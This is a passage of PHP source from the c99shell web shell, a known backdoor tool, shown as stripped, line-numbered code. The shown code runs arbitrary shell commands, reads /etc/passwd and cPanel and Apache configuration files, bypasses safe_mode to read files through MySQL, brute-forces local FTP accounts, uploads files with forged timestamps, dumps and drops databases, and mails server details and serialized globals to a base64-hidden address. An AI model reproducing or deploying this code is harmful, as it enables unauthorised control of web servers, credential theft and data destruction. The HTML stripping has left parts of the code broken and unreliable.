  65. Host    PORT
  67.         ">Home".htmlspecialchars($sql_db)." ]---
  68. "; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
  69. "; mysql_free_result($count); $c++;} if (!$c) {echo "No tables found in database.";} } } else { ?>      Home".$row[0].""; $c++;} echo ""; echo $dbs; } ?>Please, select database
  70.         "; //Start center panel $diplay = true; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "
  71. There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
  72. "; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
  73. "; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo ""; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
  74. ".$sql_query_error."
  75. ";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "
  76. "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "
  78. ".htmlspecialchars($sql_query)."
  81. ";} } if (in_array($sql_act,$acts)) { ?>
  82. Create new table:
  84.         Dump DB:
  85. ">
  88. ";} if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
  89. "; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
  90. Reason: ".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = false; echo "
  91. SQL-Dump:
  93. "; echo "DB:
  95. "; $v = join (";",$dmptbls); echo "Only tables (explode \";\") 1:
  97. "; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File:
  99. "; echo "Download:  
  101. "; echo "Save to file:  "; echo "
  105. 1 - all, if empty"; echo "
  106. "; } else { $diplay = true; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0; $set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = true; $set["onlytabs"] = array(); if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; } } else {echo "Dump: nothing to do!";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "
  107. Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
  108. "; echo "[ Structure ]   "; echo "[ Browse ]   "; echo "[ Dump ]   "; echo "[ Insert ]   "; if ($sql_tbl_act == "structure") {echo "
  110. Coming sooon!";} if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo "
  112. Inserting row into table:
  113. "; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("
  115. ".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "
  116. "; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo ""; $i++; } echo "
  117. Field   Type    Function        Value
  118. ".htmlspecialchars($name)."     ".$field["Type"]."             
  120. "; echo "Insert as new row"; if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} echo "
  122. "; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo ""; echo "\"Pages\" "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "
  123. ";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "
  124. From:  To:  
  125. "; echo "
  126. "; echo ""; echo ""; for ($i=0;$i"; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {echo "".$v."";} else {echo "".$v."\"".$m."\"";} echo ""; } echo ""; echo ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL";} echo ""; $i++; } echo ""; echo ""; } mysql_free_result($result); echo "
  127.         Action
  128.         ".$v."  "; echo "\"Delete\" "; echo "\"Edit\" "; echo "
  130. "; echo ""; echo ""; echo "
  132. "; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "
  133. "; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; $i++; } echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
  135. Table
  136.         Rows    Type    Created Modified        Size    Action
  137.          ".$row["Name"]."       ".$row["Rows"]."        ".$row["Type"]."        ".$row["Create_time"]." ".$row["Update_time"]." ".$size."        \"Empty\"  \"Drop\" \"Insert\"
  138. »
  140. ".$i." table(s)
  141.         ".$trows."      ".$row[1]."     ".$row[10]."    ".$row[11]."    ".view_size($tsize)."  
  143. "; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
  145. "; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {?>
  146. Create new DB:
  148.         View File:
  152. "; if ($sql_act == "newdb") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
  153. ";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
  154. Reason: ".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "
  155. Server-status variables:
  157. "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
  158. Name    Value
  159. ".$row[0]."     ".$row[1]."
  160. "; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "
  161. Server variables:
  163. "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
  164. Name    Value
  165. ".$row[0]."     ".$row[1]."
  166. "; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "
  167. Processes:
  169. "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} echo "
  170. ID      USER    HOST    DB      COMMAND TIME    STATE   INFO    Action
  171. ".$row[0]."     ".$row[1]."     ".$row[2]."     ".$row[3]."     ".$row[4]."     ".$row[5]."     ".$row[6]."     ".$row[7]."     Kill
  172. "; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = false; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "Error in reading file (permision denied)!";} else { for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
  173. ";} else {echo "File \"".$sql_getfile."\":
  174. ".nl2br(htmlspecialchars($f))."
  175. ";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo "
  176. "; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "
  177. Affected rows: ".$affected."
  178. "; } if ($act == "mkdir") { if ($mkdir != $d) { if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";} elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";} echo "
  180. "; } $act = $dspact = "ls"; } if ($act == "ftpquickbrute") { echo "Ftp Quick brute:
  181. "; if (!win) {echo "This functions not work in Windows!
  183. ";} else { function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} else {$true = true;} if ($true) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
  184. "; ob_flush(); return true; } } } if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can't get /etc/passwd for password-list.";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = false;} $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"
  185. "; $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo "Done!
  186. Total time (secs.): ".$ftpquick_t."
  187. Total connections: ".$i."
  188. Success.: ".$success."
  189. Unsuccess.:".($i-$success)."
  190. Connects per second: ".round($i/$ftpquick_t,2)."
  191. "; $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo "
  193. Read first:
  195. Users only with shell?
  197. Logging?
  198. Logging to file?
  199. Logging to e-mail?
  201. "; } } } if ($act == "d") { if (!is_dir($d)) {echo "
  202. Permision denied!
  203. ";} else { echo "Directory information:"; if (!$win) { echo "
  204. Owner/Group     "; $tmp = posix_getpwuid(fileowner($d)); if ($tmp["name"] == "") {echo fileowner($d)."/";} else {echo $tmp["name"]."/";} $tmp = posix_getgrgid(filegroup($d)); if ($tmp["name"] == "") {echo filegroup($d);} else {echo $tmp["name"];} } echo "
  205. Perms   ".view_perms_color($d)."
  206. Create time     ".date("d/m/Y H:i:s",filectime($d))."
  207. Access time     ".date("d/m/Y H:i:s",fileatime($d))."
  208. MODIFY time     ".date("d/m/Y H:i:s",filemtime($d))."
  210. "; } } if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;} if ($act == "security") { echo "
  211. Server security information:
  212. Software: ".PHP_OS.", ".$SERVER_SOFTWARE."
  213. Safe-Mode: ".$hsafemode."
  214. Open base dir: ".$hopenbasedir."
  215. "; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd:
  216. "; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "
  217. From:  To:  
  219. "; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"].""; echo join(":",$uid)."
  220. "; } $i++; } } else {echo "
  221. Get /etc/passwd
  222. ";} } else { $v = $_SERVER["WINDIR"]."\repair\sam"; if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.")
  223. ";} else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©.
  224. ";} } if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs
  225. ";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs
  226. ";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)
  227. ";} if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)
  228. ";} } if ($act == "mkfile") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = "ls";} } if ($act == "encoder") { echo "
  229. Encoder:
  230. Input:
  231. ".@htmlspecialchars($encoder_input)."
  235. Hashes:
  236. "; foreach(array("md5","crypt","sha1","crc32") as $v) { echo $v." -
  237. "; } echo "
  238. Url:
  240. urlencode -
  241. urldecode -
  242. Base64:
  243. base64_encode -
  244. "; echo "
  245. base64_decode - "; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo "";} else {$rows++; echo "".$debase64."";} echo " ^"; } echo "
  247. Base convertations:
  248. dec2hex -
  249. "; } if ($act == "fsbuff") { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "
  250. Buffer is empty!
  251. ";} else {echo "File-System buffer
  253. "; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} } if ($act == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; } else {echo "
  254. Can't delete ".__FILE__."!
  255. ";} } else { if (!empty($rndcode)) {echo "Error: incorrect confimation!";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo "
  256. Self-remove: ".__FILE__."
  257. Are you sure?
  258. For confirmation, enter \"".$rnd."\":  "; } } if ($act == "feedback") { $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU="); if (!empty($submit)) { $ticket = substr(md5(microtime()+rand(1,1000)),0,6); $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_contents(); ob_clean(); phpinfo(); $phpinfo = base64_encode(ob_get_contents()); ob_clean(); echo $tmp; $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; } mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); echo "
  259. Thanks for your feedback! Your ticket ID: ".$ticket.".
  260. "; } else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):
  262. Your name:
  264. Your e-mail:
  266. Message:
  267. ".htmlspecialchars($fdbk_body)."
  269. Attach server-info *
  271. There are no checking in the form.
  273. * - strongly recommended, if you report bug, because we need it for bug-fix.
  275. We understand languages: English, Russian.
  277. ";} } if ($act == "search") { echo "Search in file-system:
  278. "; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {c99fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found!";} else { $ls_arr = $found; $disp_fullpath = true; $act = "ls"; } } echo " Search for (file/directory name):   - regexp
  279. Search in (explode \";\"):
  281. Text:
  282. ".htmlspecialchars($search_text)."
  284. - regexp    - whole words only    - case sensitive    - find files NOT containing the text
  286. "; if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
  288. ";} } if ($act == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can't get current value.";} else { $form = true; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
  289. ".($err?"Error: ".$err:"")."
  290. Owner
  292.  Read
  293.  Write
  294. eXecute Group
  296.  Read
  297.  Write
  298. eXecute World
  300.  Read
  301.  Write
  302. eXecute
  303. "; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
  304. ";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!
  305. ";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file!
  306. ";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
  307. ";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo "".$uploadmess.""; $act = "ls"; } else { echo "File upload:
  308. ".$uploadmess."
  309. Select file on your local computer:
  310.                or
  311. Input URL:
  313. Save this file dir:
  315. File-name (auto-fill):
  317.  convert file name to lovercase
  319. "; } } if ($act == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = false; $result = fs_rmobj($v); if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
  320. ";} } if (!empty($delerr)) {echo "Deleting with errors:
  321. ".$delerr;} $act = "ls"; } if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
  322. Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.
  323. ";} } else { if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
  324. ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
  325. ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
  326. ".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
  327. ";} $ret = str_replace("\r\n","\n",$ret); $ret = explode("\n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors:
  328. ".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
  329. ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
  330. ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
  331. ".$psterr;} $act = "ls"; } } if ($act == "cmd") { if (trim($cmd) == "ps -aux") {$act = "ps_aux";} else { @chdir($chdir); if (!empty($submit)) { echo "Result of execution this command:
  332. "; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
  333. ".htmlspecialchars($ret).""; } else {echo $ret."
